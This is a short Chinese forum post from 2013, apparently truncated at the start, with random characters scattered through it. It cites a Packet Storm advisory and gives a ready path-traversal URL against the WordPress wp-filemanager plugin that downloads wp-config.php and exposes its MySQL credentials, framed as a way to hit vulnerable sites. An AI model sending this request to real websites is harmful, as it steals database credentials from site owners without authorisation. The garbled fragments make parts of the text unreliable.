洞详解：http://packetstormsecurity.com/f ... -File-Download.html2 }( O* q. R( W% }' n( l8 G
3 Y& t. {# A9 q _& `0 p. q查找漏洞网站：访问/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download，下载wp-config，其中回显MySQL。
1 e+ W. I8 X! M7 O( Q O. |' i |
发表于 2013-7-26 12:43:45
收藏
支持
反对